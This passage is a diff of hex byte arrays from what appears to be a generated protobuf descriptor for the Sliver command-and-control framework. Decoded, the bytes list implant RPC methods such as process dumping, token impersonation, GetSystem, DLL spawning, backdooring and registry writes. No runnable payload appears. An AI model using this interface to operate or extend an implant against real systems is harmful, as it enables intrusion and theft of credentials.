0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, - 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, - 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, - 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, - 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, - 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, - 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, - 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, - 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, - 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, - 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, - 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, - 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, - 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, - 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, - 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, - 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, - 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, - 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, - 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, - 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, - 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, - 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, - 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, - 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, - 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, - 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, - 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, - 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61, - 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52, - 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70, - 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, - 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, - 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, - 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, - 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, - 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, - 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, - 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, - 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, - 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, - 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, - 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, - 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, - 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, - 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, - 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, - 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, - 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, - 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, - 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, - 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, - 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, - 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, - 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, - 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, - 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, - 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, + 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, + 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, + 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, + 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, + 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, + 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, + 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, + 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, + 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, + 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, + 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, + 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 